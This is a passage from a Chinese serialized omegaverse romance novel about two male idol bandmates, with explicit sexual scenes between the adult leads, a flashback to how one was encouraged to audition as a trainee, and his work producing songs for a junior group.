方柏嘉在心里吐槽,却止不住红着脸轻轻点头,从鼻腔间挤出声“嗯”。 愉悦几乎将方柏嘉淹没,他紧紧闭上双眼,细密的睫毛像被惊扰的蝴蝶羽翼一样乱颤,和汤昼恒眼尾处的毛流打架似的缠在一块儿。 脸颊、鼻尖、唇角,所有接吻过程中相触到的肌肤无一处不像是火炉,暖热而又温润。全身上下的肾上腺素和多巴胺似乎都因此被调动,方柏嘉战栗不已,脚趾尖都透着酥/软,没一会儿就觉得盖在身上的被子闷得让他透不过气。 那是他已然十分熟悉的感觉,证明他被和汤昼恒的亲吻勾起了最初始的需求,身体开始发热,是动/qing的征兆。 方柏嘉在被子底下窘迫地夹/紧tui,快乐之余不由感到有点可怕,这才哪到哪儿啊,自己和汤昼恒还没在一起呢,就兴奋成这样了。 两个人足足吻了有七八分钟,最后方柏嘉实在喘不过气了,示意汤昼恒停下。 “再亲就亲肿了。”他小声说,“等下还要出门。” 汤昼恒没说话,只是伸出手,用手指轻轻玩着方柏嘉淡粉的下唇,忽然道:“光顾着说,都忘了问。你是不是这两天伪感期就到了?” 方柏嘉一愣,隐约间记得对方昨天也问过这个问题,有点尴尬地点了点头。 他们的行程通常提前两三个月就定下了,那会儿方柏嘉还没出“意外”,伪感期也被安排了不少工作。 现在他没法吃抑制剂,情况就变得稍微有点复杂。理论上说,经过一段时间的脱敏,他应该没有刚开始那么不耐受,但这种事谁也说不准会不会再撞上次“意外”。 这样想想,他昨晚的种种言行未必没有生理期影响的成分在里边。某种程度而言,这也是一种潜意识的焦虑表现,让方柏嘉即便在烂醉如泥的时候,也忍不住对汤昼恒表现出索取。 他的那句“你明天就走了,要见不到你了”,就是最好的证明。 想到这里,汤昼恒将他身上的被子掀开,自己也钻进来。 热源靠近,方柏嘉的第一反应是有点不安,直到汤昼恒轻轻将他翻了过去,从后边贴着他的背脊,将方柏嘉抱住。 修长的手指热热地拢上来,有力的小臂搭在他的肚皮上方,轻缓地揉了两圈。 方柏嘉没忍住深吸一口气,鼻间浅浅地哼了一声,向后躲了躲,却只是把自己越发往对方怀里凑。 突然间好像撞到什么,他受惊似的抖了一下,似乎猜到原委,方柏嘉表现出来的没有抗拒,只有困惑和茫然:“你不是说不做……?” “是不和你做。”说话间,很少暴lu在外的肌肤处传来凉意,原本好好裹在躯干上的布料偏离了原本的位置,被人扯下。 汤昼恒停顿片刻,从后面热热地贴上他的耳根就是一吻,手掌压住他的膝盖,示意他待会好好并住:“但是可以让你舒服一点。” “……” 大清早来这个,是不是有点太刺激了。 方柏嘉犹豫了一瞬,觉得他是不是得矜持一点。 自己才和汤昼恒聊完那么走心的内容,不应该正是纯爱的时间吗?下一秒就开始少儿不宜算怎么回事。 可倒数第二截脊柱上已经印出了形状,即便隔着层层衣料遮挡,从汤昼恒体表散发出的温度也并没有因此降低,反而显得更加突出——如同蛰伏在暗处的蛇,即便没有真的咬人,却也足够让人心惊。 方柏嘉立刻就软了下来,心跳如鼓地默许着汤昼恒把自己拉向他那边。 对方的胸膛沉沉抵着他后背上的肩胛骨,手臂箍紧了他的最纤细处,危险与脆弱仅有一层之隔。 眼前的景象一上一下地偏移了视野,仿佛在风雨中晃动的船。方柏嘉睫毛狂颤地咬紧下唇,整个人像一颗香甜的奶油糖,因为汤昼恒而散发出逐渐融化后的甘美。 不多时,空气中便多了种有别于樱桃和奶油的味道。 第49章 第 49 章 旁边这只还可以更主动。…… 在大清早最精神的时候即兴来了次的结果, 就是搞得两个人的衣服都被毛手毛脚地弄脏了。 结束后的方柏嘉乱得尤其没法看。 他上半身还好,顶多只有被揉过的地方有些发红,下边却彻底湿得一块一块, 汤昼恒的赠予、他自己的产物,分不清是谁的东西搅/合在一起, 弄得方柏嘉内侧和外侧都是。 多余的湿/意甚至蔓延到了汤昼恒和他相贴的肌肤处,在周围一圈被均匀地拍打开。 “……怎么每次你的水都这么多?”汤昼恒难得展现一点恶劣因子, 在他耳边半是认真求知、半是打趣地问, “没进来你也会流?” 他从侧后边含住他的耳垂, 沿着方柏嘉的颈线一直亲下去, 最后干脆把他反过来, 轻轻吻住alpha的喉结。 汤昼恒的力道很轻, 担心在方柏嘉的皮肤上留下印子,只是湿润的嘬吻。 方柏嘉发xie完,浑身都没力气, 靠在他的身上, 一只手抓着汤昼恒的手腕, 被亲得嘴巴微微张开,蹙着眉道:“知道你就别搞我了。” 他生/理性地哽咽一下:“把我弄成这样,你又不*……” 对此, 汤昼恒只好尽力宽慰:“因为来不及了。” “我查了一下, xing行为起到的安抚作用可以抵得上好几次腺体标记,一次能覆盖一个月,你这次伪感期应该不会有上次那么难受,不做也可以,刚才算是保险。你稍微忍一忍,等我回来——” 他话到一半, 忽然停住,没再往下讲。 方柏嘉却还是猜出了他的意思。 眼下这个情况,两人不方便做,汤昼恒是想等他跑完路演回来过易感期,一次性把他俩的问题都解决了。 反正他们床也上过,对彼此没什么不满意的。睡一次又比接吻、咬腺体这些行为达到的安抚效果都要好,还不容易留下外人能看到的痕迹,那么时间一长,顺水推舟把治疗脱敏的手段提升到最高档也是自然而然的事。 ……哼,也是挺自信的,怎么就默认自己一定会去找他了。方柏嘉默默吐槽了句,脸上烫得吓人。 汤昼恒大概也是这么想的,没有把话说全,留一些缓冲的余地。 紧接着又是一阵心知肚明的尴尬和暧昧。 方柏嘉害羞得不行,腿上也黏糊糊的难受,说了声“我去洗一下”,就从汤昼恒的怀里坐了起来,钻进卫生间里。 成员们前一天夜里又是喝酒又是玩游戏,抛开最早上楼的两人,剩下的众人都陆续熬到三四点才睡。早晨的别墅内部一片沉寂,汤昼恒也要换衣服,悄悄回到了自己的房间。 他离开之后,方柏嘉又倒头睡了个回笼觉,直到十点快十一点,才下楼和大伙儿一块用起早餐。 方柏嘉在座位上吸溜着豆浆,看见汤昼恒慢悠悠从走廊拐角那边走来。 换了身要出门的装扮,头发却还没打理,黑色的刘海垂下来盖住额头,像还在上学的青春男大。 对方的目光原本漫无边际地在空中飘着,接收到方柏嘉的视线,立刻如有所感地回望过来,嘴角隐秘地冲他勾了勾。 方柏嘉忍不住呛了一下,低头啃了半口油条。 他的左右两边都有人,汤昼恒便在他的斜对面坐下了,面无异色地从桌上工作人员买来的食物里挑东西吃。 方柏嘉收回视线,本想尽量矜持一点,可没忍住,一想到两人早上起来说的那些拉拉扯扯的话,还有后面做过的事,整个人都要飘起来,根本控制不住自己的眼睛,隔三差五就要往汤昼恒那瞟上一眼。 对方也不知道怎么回事,身上如同安装了目光雷达,总能把方柏嘉这些小动作捕捉到,几次对视下来,汤昼恒的神情中明显多了几分揶揄。 放下手里的筷子,拿起手机敲打了些什么。 下一秒,摆在方柏嘉手边的电子产品屏幕亮起。 是斜对面那人发来的。 汤昼恒:【为什么一直看我?】 方柏嘉轻轻地骂了个“靠”字,脸上立刻红了起来。 他又朝对方那边扫了眼,双手举着手机回复。 方柏嘉:【因为你帅】 打出这句话时他还有点不好意思,可转念一想,自己和汤昼恒都“默认有好感”了,说点实话怎么了。 许久,汤昼恒只给他回了一个简洁的:【。】 方柏嘉悄悄抬眼,发现汤昼恒正单手拿着手机,对着屏幕讳莫如深地……发呆。 这人是害羞了吗?他突然新奇地想。 方柏嘉来了兴趣,反正被汤昼恒发现了,索性问他:【为什么每次我看你的时候你都刚好能发现?】 对方是开了天眼,还是传说中的第六感? 汤昼恒:【不是你被发现了】 方柏嘉一愣。 汤昼恒:【是我本来就在看你】 ……靠! 待把这两句话串联起来,方柏嘉不由又骂一声。 这个人,自从他们敞开说过一次后越来越会了! 嘴角不自觉有笑意聚集,方柏嘉察觉到了,赶忙伸手摸了摸脸,按下即将翘起来的弧度。 偷偷抬头看一圈四周,没人注意到他。 ……背着其他队友悄悄聊天,聊的还是这种内容的感觉好暧昧啊。 方柏嘉还没琢磨出该怎么回应,这时,原本坐他右边的杭泽宇吃完早餐离开了座位,跑去沙发躺着玩手机去了。 他还没反应过来,汤昼恒已经站起身,绕着桌子走了半圈到他这边,坐上队友才腾出没多久的位置。 低头调整座椅距离时,手背及凸起的掌指关节轻轻刮过方柏嘉垂在下边的手。 一阵热风擦过,汤昼恒有意无意侧头冲他微笑一瞬,佯作没事人般接着从桌上拿东西吃,好像他是因为这边的菜色更合口味才坐过来的。 方柏嘉的心脏错跳了两拍,缓缓睁大眼睛看回身体正前方,感觉身遭的空气都因为这人的主动靠近而变得轻暖起来。 正心猿意马着,汤昼恒居然坐在他旁边又来了句:【怎么一直在动来动去?】 汤昼恒:【是有哪里不舒服吗?】 方柏嘉一愣,居然这都被他注意到了。 他也不客气,意识到这是个反击的好时机,立刻拿起手机回复:【被你磨疼的,谁让你早上那么用力,还一直要我并紧】 方柏嘉抱怨:【我现在腿都是酸的】 早晨那会儿,汤昼恒开始还隔着一件小小的面料,后面干脆把他那层拨开。 让方柏嘉并好,他也没并住,汤昼恒太显眼了,把本来细细的一线撑成好几根手指的宽度,方柏嘉低下头,甚至能透过那缝隙看见自己若隐若现的小腿肚。 汤昼恒从下面抱着他,骨头带动着肌肉发力,不断把人推着往前耸。方柏嘉的膝盖像是关合不牢的门扇,被挤进门缝里的木棍一敲,没几下就被叩开。 结果还是得汤昼恒自己出手,手掌按着方柏嘉的侧边,将他给牢牢地固定住,自给自足地继续zhuang击门框。 方柏嘉全程线条绷紧,大tui两侧的肌肉都酸痛得不行,细微地筛子似的抖。过后被汤昼恒着重照顾过的地方尤其红通通的一片,虽然没破pi,却也不好受,方柏嘉坐下时都能感觉裤子在勒磨着那块皮肤,隔三差五忍不住起身调整一下姿势。 汤昼恒再次:【。】 方柏嘉莫名觉得对方这个无言以对的样子有点好玩。 哼,让你之前牛皮哄哄的,也有答不上来的时候吧? 方柏嘉绞尽脑汁想再说点什么,忽然间,感觉到有什么温热而带有重量的东西搭在了自己的膝盖内侧。 是汤昼恒的手。 它攀上来,有温度的掌心隔着裤子mo挲方柏嘉那一块的肌肤,仿佛只是一时兴起。紧接着,又慢慢向着更深/处移动。 像一条蛇,走动的并不是直线的距离,而是蜿蜒的,S型的,一路打着圈不断向上—— 方柏嘉正戳着碗里沙拉菜叶子的动作一滞,被对方掌心包裹着的肌肤刹那间紧绷到了极限,不可思议地僵硬扭头看向汤昼恒,用微微瞪大了的眼睛示意他:你在干什么? 汤昼恒居然从他的眼神里看懂了他的意思,缓缓做出无声的口型:【给你按摩。】 表情坦然而又正经,像是在道,不是你说肌肉不舒服? 方柏嘉的背上迅速冒起一层鸡皮疙瘩,全部的感官都集中在汤昼恒的这只手上。 打圈画圆的手法才来到中段,他已然承受不住,几乎是惊慌失措地抓住青年的手腕,猛一下双腿蹬地站了起来—— 方柏嘉抓起手机,逃难似的说了句“我吃饱了”,迅速又跑上了楼。 汤昼恒两分钟后给他发了一句:【现在好点了吗?】 方柏嘉没缓过来,看出这人问得不够诚心,不想回他。 汤昼恒也不在意,过了一会儿又说:【我不在的这些天,记得帮我照顾好我的猫】 后面跟了一个笑眯眯的emoji。 * 团综拍完的第二天,成员们“作鸟兽散”,各自收拾好行李,休息的休息,赶行程的赶行程。 方柏嘉在几个城市之间飞来飞去了好几天,总算是把月初的活儿跑完了,又回到首都,开始着手监工师妹团的新歌录音。 江白树之前在见面会上说他写了一堆歌,被收录进他们组合专辑的寥寥无几,倒也不是假话。 作为成员构成全为男性alpha的男团,Unforbid’em的整体风格偏向前卫金属潮流,而方柏嘉的创作舒适区则是带有轻盈迷幻电子感的自然节奏类曲风,明显不符合组合主旋律,倒是和公司近两年推出的师妹团相当契合。 就在前年,他为师妹团写的一首《ATM(at the moment)》,因为其魔性洗脑的旋律和与爱情有关的清新主题大火,又因为ATM这个缩写“一语双关”,同时有自动取款机的含义,这首歌后边又被玩梗成了“来财歌”“海王歌”,传播及使用范围非常广。 有人说方柏嘉写的是哗众取宠的口水歌,全靠公司营销,也有人说看他过往创作的歌曲就知道,方柏嘉本来就有天赋又有灵气,《ATM》火得天时地利人和…… 不管怎样,方柏嘉当年就靠这首歌的音乐版权赚了六千多万,后边接连又有好几首歌取得不错的成绩,公司因此对他“放权”,这两年陆陆续续让他参与进了师妹团的专辑歌曲创作。 目前在着手准备的这一版专辑里,有三首歌他都是制作人,流程的从头到尾都要他去监督沟通。 方柏嘉忙了快一个星期,好几回在公司待到了半夜。 最后一天总算工作结束,穿着便服的女生们在录音棚外齐齐冲他鞠躬: “PD辛苦啦——” “师兄再见!” 方柏嘉和她们道完别,坐在控制室的椅子上继续听着刚才的录音,一转头,发现有个成员还没走。 “什么事?”暖光灯下的青年骨相优越而精美,像从头到脚都挑不出瑕疵的BJD制品,模样有些讶异。 “那个,我写了首歌想找PD帮我听一听,不知道可不可以。” 方柏嘉听完她的来意,稍微怔了下,很快道:“U盘带了没有?给我。” 他从对方手里接过小小一枚的闪存盘,明显感觉对方松了口气。 “这首歌是你自己创作的吗?一个人作词作曲?” “啊,对。” 方柏嘉没说什么,点开文件:“我们先来一起听一遍。” …… 二十分钟过去,方柏嘉双手交叠地支于桌上,下巴抵住指节沉思:“整体来说还算不错。你刚才说这是你写的第三首歌?能到这个水平我蛮意外的。改天你可以把你另外两首歌拿来给我听听。” 他说完这话,好几秒没人回应。 方柏嘉回过头,看见女生正捧着手机,一脸紧张地望向自己。 “?” 方柏嘉:“你这么看着我干什么?” “其实我今天来问您,是因为我最近看到了这个——”女生举起手机,将屏幕那面转给他看。 方柏嘉接过来定睛一瞧。 《为乐而作》原创作曲竞演综艺选手招募海报。 “你想去这里?” 方柏嘉简单判断之后做出猜测:“是你们经纪人不同意吗?” “不是。”女生摇了摇头,“我还没和高姐说。主要是,我还不确定要不要去。” “为什么不确定?” “因为……不知道自己能不能行。” 方柏嘉总算明白了对方找他的原因,向后靠倒在转椅上说:“你对自己没信心?可我说了,你这首歌写得不错。” “话是这样讲,”女生一脸囧色,“可是,可是……” “可是你觉得我是在安慰你?”看着对方嗫嚅着说不出话的表情,方柏嘉一下明白过来。 他笑了一声,忽然想到什么:“在我差不多比你现在小两岁的时候,有个人也听过我的第一首歌。当时听完他对我评价,我同样觉得很不可思议。” …… 那是在近五年前发生的事。 就在方柏嘉收到汤昼恒点给他的“生日礼物”的当天。 方柏嘉对着两个辣翅桶吃到快末尾,本以为自己和汤昼恒的缘分已经结束。 没想到手机震动一下,竟又收到了新讯息。 汤昼恒:【你现在没地方住,是吗?】 汤昼恒:【也没有学上?】 “……” 方柏嘉嘴里还咬着鸡翅,见状,咀嚼的动作不由得停了停。 他不明白对方为什么要这么问,又好像隐隐约约也能猜到。 脑子里乱得像在星球大战,方柏嘉对着手机发了许久的呆,才从他那一团糟的思绪中勉强冲出重围并打字:【啊。】 这个字刚发出去,方柏嘉就想给自己一拳。 什么反应这是。 人家明摆着有想帮你的意思,结果你的回应就这么冷淡。 可方柏嘉也实在不知道该说什么。 在这之前,他已经反反复复在对话框里打下字又删掉,不管说什么都觉得不合适。 不想显得太脆弱可怜,不希望让对方觉得自己在刻意卖惨。 最重要的是,方柏嘉不擅长接受这种善意。 他的成长过程里很少有这种东西。而这少有的部分,基本都是从学校里的老师同学、偶尔在打工兼职时遇到的客人那里得来的。 清浅的善意,几乎没有重量,虽然偶尔也会让他苦恼与困惑,但还是会从他的身上很轻快地流过去,不给方柏嘉带来任何负担。 但再重一些就不行了。 说实话,他也不知道汤昼恒能怎么帮他。 把他当成贫困学生来资助,每个月给他一笔钱? 方柏嘉一个人,活得再差都是他自己的事。但如果因此背负了别人的期待或者好意,他反而承受不了。 何况他也不是养活不了自己。 私信界面跳出来一个总额450的红包。 汤昼恒:【我看了一下,最近最便宜的旅馆大概150一天。先给你三天的,你先去住。】 这会儿顾不上那么多,方柏嘉深吸一口气打字。 方柏嘉:【那个】 方柏嘉:【其实我说我快没钱吃饭了,是夸张说法。我手上还有些钱,只不过要省着点花,后面用来租固定的房子,所以每天会少吃一顿饭,要是想吃也还是能吃的。】 方柏嘉:【我也没有你想象的那么惨啦】 方柏嘉:【感谢你的好意,但如果要给钱什么的就算了[擤鼻涕]】 写到这儿,方柏嘉终于记得稍微卖下萌。 消息发出去的五六分钟里,对方都没再回应。 汤昼恒一问他问题,方柏嘉心就乱了,在座位上慢吞吞地把剩下两只鸡翅吃完,眼睛时不时瞟一眼屏幕。 对面一直没动静,方柏嘉的情绪也跟着忐忑起来,又把自己发出的内容来回看了好几遍,觉得自己是不是婉拒得太生硬,让对方认为自己白费了一番好心。 正这样想着,大概是因为看到了他私信里的打工记录,汤昼恒问他:【你后面打算干什么?还留在首都吗,不去上学了?】 “……” 这种阴差阳错和自己正在追的星对上话的经历实在太奇妙了。 方柏嘉对着这行字看了良久,有种自己用来记日记的备忘录突然成精了的感觉。 方柏嘉:【不知道,具体看到时候的情况吧。】 要先看钱能不能攒够再说。 但这话他不想和汤昼恒讲,显得他在暗示对方似的。 汤昼恒:【如果你一直不去上学,学校那边不会有说法吗?】 方柏嘉:【可能会有。但如果学生家长都铁了心的话,老师也做不了什么。】 高中本来就不包含在义务教育里面,理论上说,得知学生要辍学,老师是会打电话回访。但要是找老师找学校有用,天底下哪还有那么多上学上到半途就不得不辍学出去打工的未成年。 汤昼恒:【你想继续上学吗?】 方柏嘉盯着这行字沉默了。 琢磨着这人该不会真想资助他吧,可他都说了不要钱了啊。 一时间不知道该怎么回。 过了好几秒,才犹豫着一下一下地慢慢敲键盘:【想不想不是我能决定的。】 汤昼恒又不说话了。 过了一阵,冷不丁转到一个完全无关的话题上去:【你主页唱的那首歌挺好听的,叫什么名字?我用听歌识曲搜了一下,没搜到。】 主页的歌…… 方柏嘉愣了一下才反应过来对方说的是什么。 身边的同学用微博的不多,方柏嘉也不想被认识的人知道自己在网上的样子,这个号没告诉任何人,纯粹是用来追星发泄的,主要功能就是转一些汤昼恒的美图,说一些骚/话,偶尔的,也发一点和自己有关的内容。 汤昼恒说的主页的歌,是方柏嘉半个月前发的那首。用那种时下很流行的K歌录音软件,搭配网上买的十几块钱的便宜耳机。 没有伴奏,唯一的音乐是他在学校的音乐教室里自己弹奏的背景钢琴声。 方柏嘉小学的时候学过三四年的钢琴,后边父母离婚,父亲组建了新家庭之后,便没再给他上过课外班。但方柏嘉基础还在,常常会去弹学校的免费乐器解闷。 物质匮乏的生活里没有其他娱乐方式可言,方柏嘉最大的爱好就是听歌,听得多了,就琢磨着怎么自己创作打发时间。 开始都是些散碎的片段,后面他在网上专门搜了别人是怎么写歌的,歌越写越长,也越来越连贯,渐渐有了成品的样子。 有段时间方柏嘉对这件事特别着迷,一有空就溜去音乐教室,一边弹琴一边哼歌,课下的草稿本边角里都塞满了他脑海里不时蹦出的旋律和歌词。 这首歌是方柏嘉近期写过的最满意的。趁着学期末考试结束,他在其他学生都鱼贯涌出校园大门的傍晚悄悄爬上音乐教室所在的五楼,把它录了下来。 唱完之后非常满意,顺手就分享到了微博上。 因为是自己的原创,保存时甚至没有歌名,方柏嘉随手敲了个“111no name”上去,本来也没觉得有谁会注意,更想不到,他的“原创大作”的第一个听众竟然是自己追的星本人。 这感觉太诡异了。 方柏嘉都不知道汤昼恒怎么会有兴趣真的点开来听,而且还看了他的主页。 …… …… 卧槽,汤昼恒看了他的主页! 那他说的那些岂不是全都被—— 方柏嘉放下手机,双手扒着桌子的边缘,额头压下去磕了两下。 要死。 真的要死。 磕完,方柏嘉崩溃地抬起头,顶着脑门上淡淡的红印,双目无神、强装镇定地打字回复:【没有名字,这是我自己写的。】 其实指尖都在微微地抖。 刚完成时很自得是真的,可真拿出来给人鉴赏,方柏嘉又开始虚了。 他毕竟不是专业的,写的歌哪有好听到那个地步。想也知道,肯定有不少漏洞。 居然还特地为此搜了歌……真的假的? 汤昼恒:【真的吗?你不会是骗我的吧。】 ……这话应该是他来问才对! 方柏嘉这时候倒又故作矜持地谦虚上了:【这有什么好骗的……你也不用安慰我,说得这么夸张。就是不上课的时候随便写写而已,我什么水平我自己知道。】 汤昼恒:【嗯……也不是安慰。作为一个喜欢听音乐的外行来说,我的第一感觉就是旋律很入耳,听起来很清新,也很舒服。虽然有些部分确实能感受出不怎么成熟的地方,也可能不算是完成度特别高的作品,不过我认为在没有经过系统的学习和训练的情况下写出这样的作品是很有天赋的。你真的没有专门上过这方面的课程吗?】 方柏嘉没想到对方居然打了那么一长段话来回复,有点被惊到。 方柏嘉:【没有,就是自己想着写的】 方柏嘉:【但是在网上搜过一些这方面的内容】 怕汤昼恒把他想得太厉害,他又补充。 汤昼恒:【那算是非常有天赋了。】 方柏嘉脸上一红,小声对着手机嘀咕:“骗人的吧。” 汤昼恒还挺有捧杀人的天赋。 方柏嘉拿起表面都是水珠的冰可乐,哧溜地大吸一口。 汤昼恒:【你很喜欢写歌吗?以后有没有从事相关行业的打算?】 方柏嘉:【……说不上喜欢不喜欢,想写就写了。】 方柏嘉:【什么意思?】 汤昼恒:【稍等,我去问一下朋友。】 “……?”有至于到搬外援这个份上吗。 方柏嘉突然有种微妙的感觉,总觉得汤昼恒接下来要说些什么可能会把他吓一跳的话。 又过了十多分钟,对面重新出现。 汤昼恒:【我有一个建议,是刚才突然想到的。】 汤昼恒:【我们公司最近在为了之后要推出的偶像团体招练习生。如果你被选上,公司会帮你在这边入学,住宿、餐补这些都是免费的,基本相当于没有花销。】 方柏嘉:【…………】 他现在又开始觉得,对面这个汤昼恒说不定是被人盗号后伪装正主和自己聊天的骗子了。 先用甜言蜜语骗取他的信任,让他自信心无限膨胀,然后跟他说现在交五万块培训费进入公司,我们公司会全力打造你,把方柏嘉骗得晕头转向、要死要活,把打工挣的钱全交出去。 方柏嘉又惊又疑:【你在开玩笑吧,你甚至不知道我长什么样,万一我很丑呢?】 汤昼恒:【啊。】 对面隔了一会儿才说。 汤昼恒:【也不排除这种可能。不过选拔练习生也不完全看脸,如果你有舞蹈、唱歌和创作任意一方面的突出才能,在其他评分标准上也可以降低要求。】 汤昼恒:【而且,我刚才说的一点有误,公司招人也不全是为了组合。如果你刚好是创作型的人才,据我所知,音乐部目前正打算培养一批自家专用的音乐制作人,未来也有推出solo歌手的计划,就算你实在长得很抱歉,也不是完全没有别的机会。】 汤昼恒:【对了,你今年高几?】 方柏嘉:【……高二】 汤昼恒:【嗯。公司选人很严格,一般来讲,只要你不摆烂,不会在一年之内就把你劝退。你起码可以拿到高中文凭。】 对面居然还幽默了一把。 汤昼恒:【其实我讲这些是想说,你都好不容易上到高二了,只剩最后一年,中途放弃很可惜。所以我在想,如果你短时间真的不知道自己可以干什么,不想这么早放弃学业进入社会,又确实对唱歌创作这方面感兴趣,这也是一个选择。公司有专门请老师给练习生上免费的编曲作曲课,我觉得会对你很有帮助。】 汤昼恒:【如果你对这些不感兴趣,这就不是一个好的选项了。当练习生要签合同,除非公司觉得你不合适,主动协商解约,否则单方面想解约得赔不少钱,你得想好。不过话说回来,最差的情况也就是你一边被公司放养一边在外面端盘子,和现在直接端没有很大区别。】 “……”这是什么地狱笑话吗。 方柏嘉:【……你还对我挺有信心的,连后面解不解约都想到了,万一我根本选不上呢?】 汤昼恒:【不是对你有信心,而是提出一个可能的方案。在对未来不确定的情况下,你要尽可能多给自己一些备选。】 汤昼恒:【山川相缭每周末早上十点到晚上七点之间都有公开面试,刚好明天就是周六,你在现场填了表就能参加,可以先试试。首先不一定能入选,其次就算你被看中,也可以不来。多一份选择权总没有坏处。】 汤昼恒:【而且】 方柏嘉:【而且什么?】 汤昼恒:【如果你来参加面试,我可以再请你吃一次饭】 汤昼恒:【负责面试招待的人姓唐,你走之前可以去找她,跟她说你是我的朋友,她会带你去食堂免费蹭一顿饭。】 汤昼恒:【我们公司的饭很好吃,员工餐肉也很多,你吃完还可以打包带一份走,不管怎样,起码都能捞到一顿】 方柏嘉:“…………” 可恶,这人竟然用食物来诱惑他。 然而,对方也是真的替他考虑得很周到。 周到得方柏嘉险些以为这是幻觉。 他在网上天天叫“老公”的那个实际上只比自己大一岁的家伙,此刻正在像现实生活中认识的朋友和长辈一样,给他提出切实可行的建议。 不是给他画饼,也并不急于许诺,而是根据自己手头的资源与人脉理性地分析并告诉他,这样做的好处是什么,坏处是什么。 因为方柏嘉刚好有向这方面发展的可能,而汤昼恒恰恰也对此有所了解。 交谈中并没有因为对方是个还算有点粉丝的“明星”就摆出高高在上的、认为自己说的都是金口玉言,一定要方柏嘉听从的架势。 方柏嘉说不要钱,他就真的再没提过,给出意见后也是让他再三考虑清楚。 方柏嘉:【大概了解了,谢谢你跟我说这么多,我想一下】 他发来一个很呆的线条画表情包,画面上是一只小狗在垂着脑袋思考。 似乎看出他的意愿并不是很高,汤昼恒又道:【如果你不是很有自信,对自己的能力不是很确定的话,我明天可以拿你的歌去找我们公司的音乐制作人,让他帮忙看一下你是不是有潜力。】 “……” 这该不会就是传说中的走后门吧。 拿自己的歌给专业人士看什么的,这也太可怕了。 方柏嘉吓得差点从椅子上跳起来打字。 方柏嘉:【不用了!!!】 方柏嘉:【我知道你的意思,我会来面试的。但我这几天要打工,要等看什么时候有空请假了再过来[流汗]】 对面这才满意。 汤昼恒:【[大拇指][摸头]】 方柏嘉对着这两个表情看了半天,怎么看怎么品出一股邪恶。 “他听了我的歌,劝我可以来参加练习生海选。我很怀疑,我有他说的那么厉害吗?这个人其实只是在象征性地鼓励我吧?那会儿,我满脑子里都是这样的心理活动。”回忆到此处,方柏嘉扭头看向女生说。 这是方柏嘉没有对外跟媒体说过的细节,女生听得眼睛都睁大了:“事实证明他说的是对的,PD就是很有天赋!哇,这么说那个人真的很有眼光……” 方柏嘉忽然又有点不好意思起来,侧头抓了下头顶的头发道:“不管怎么说,没有他就没有现在的我。无论他当时单纯只是安慰我也好,真心觉得我写歌不错也罢,我觉得他说的有句话很重要,就是要给自己制造更多的选择权。” “首先,你就算报了名也未必选上,其次,选上了也很有可能一轮就被刷掉,最后,但凡你能靠这个节目获得一点儿名气,那都是你赚了,哪怕什么都没捞到,你起码获得了经验。提前担心没发生的事是没有意义的。” 女生听得一愣一愣的,似乎陷入沉思当中。 方柏嘉低头又看了眼招募海报,把手机还给她:“我记得这节目录制的时候你们组合没什么活动,这是个不错的锻炼机会,建议你去。如果你们经纪人不同意,你可以再来找我。” * 方柏嘉回到宿舍时,是傍晚七点。 他吃完外卖,又在卧室里玩了会儿电子琴,中间频频拿起手机看了好几眼。 汤昼恒参演的新电影上映,最近都在忙着跑全国路演做宣传,理论上说今天就是最后一站。 没见面的这十来天里,两人偶有通过微信聊天。 汤昼恒分开前叮嘱过方柏嘉帮忙照顾他的猫,但其实他养了那么多只猫,向来都是叫他在首都的助理每天上门铲屎喂粮,根本没有用到方柏嘉的地方,顶多给开个罐头零食什么的投喂一下。 方柏嘉隐约领会到汤昼恒的意思,隔两三天给他发去一堆猫咪照片,汤昼恒再在他下了工作后回复点评几句,一来一回,话题逐渐延展到人身上,开始聊起今天吃了什么、做了什么。 在房间里发了会儿呆,方柏嘉觉得无聊,又抓心挠肺地奇怪汤昼恒怎么还不联系自己,想来想去,绑架了床上的一只猫质,把猫放在自己的大腿上,调整姿势,拍了两张照片。 没露脸,但是很心机地在镜头里把腿屈起来了。 时值盛夏,方柏嘉在屋里把很宽松的运动短裤当成睡衣,宽大的裤管顺着他立起来的肢体下滑,露出很长一截没有多余赘肉和脂肪的腿。 肤色很白。 方柏嘉在举起的手机前来回找了好一会儿的角度,才找到一个又能看清自己的动作、又能把猫露出来,还没那么刻意的暗藏玄机的镜头。 他微微红着张脸把照片给汤昼恒发过去,配字:【胖咪!】 接着将自己捂在被子里,忐忑地等待。 过了大概半个小时,汤昼恒回复:【可爱,就是掉毛太多了,改天让小周给它梳下毛】 小周是汤昼恒那个上门喂猫的助理。 方柏嘉精心准备了半天,自然不可能对这区区两个字满意,对着手机“啧”了一声。 方柏嘉:【?就可爱就完了?】 方柏嘉:【旁边这只呢?】 汤昼恒:【…………】 汤昼恒:【旁边这只今天怎么变得这么主动?】 方柏嘉冷不丁打了个直球,汤昼恒难得有些猝不及防,停顿几秒,倏地给他发了个地址过来。 像一个二人都心知肚明的信号,方柏嘉看到那行字的瞬间,立刻来了精神,一个激灵从床上坐起。 方柏嘉:【你回来了?】 汤昼恒:【还没,快了。等下上飞机,预计十点落地,到家估计就十二点了。 】 汤昼恒:【主要想提前跟你说一声,担心后面脑子太乱,记不起来。】 方柏嘉:【哦】 他沉默了下,一时有些摸不准对方的用意。 汤昼恒虽然给了他地址,但并没有说让他具体什么时候过去,那他是今晚就动身,还是第二天再去找他? 对方不提,他自己主动去问,是不是显得他有点太过于急切? 这样想着,方柏嘉说:【旁边这只还可以更主动】 方柏嘉:【你想要我现在过来吗?】 方柏嘉:【你到机场的时候,我同时从宿舍出发,我们应该刚好差不多时候到】 对面那边“正在输入”了有好几秒。 汤昼恒:【……】 汤昼恒:【那你过来吧。】 汤昼恒:【记得带上换洗衣物。】 第50章 第 50 章 如今也是豆德败坏的一员…… 距离出发还有一个多小时, 方柏嘉就已经完全没心思干任何事了。 他按照汤昼恒说的,把要带的换洗衣物和必需品都收拾出来,换了身低调的装扮后, 就一直躺在床边玩手机打发时间。 十点一到,立刻戴上鸭舌帽和口罩, 拿起背包悄悄溜出门。 不敢惊动同样也在宿舍的陆翰音,方柏嘉蹑手蹑脚地到了楼下, 才敢给他发消息说自己有事要出门, 紧接着打了个网约车, 直奔向今天的目的地—— 方柏嘉终于明白, 为什么网上都说爱豆谈恋爱的一大标志是突然开始学车买车了。想要偷偷出门和人“幽会”, 还得是自己开车最方便放心。 正在干坏事的感觉太过强烈, 做完这一系列流程,他分明感觉到自己的肾上腺素提升了不止一个档,坐在车上长长地呼出口气。 哎。 我如今也是豆德败坏的一员了。方柏嘉望着车窗外边的景色, 有些惆怅地想。 到了小区地下的停车场, 汤昼恒的助理小周早就站在那里等候, 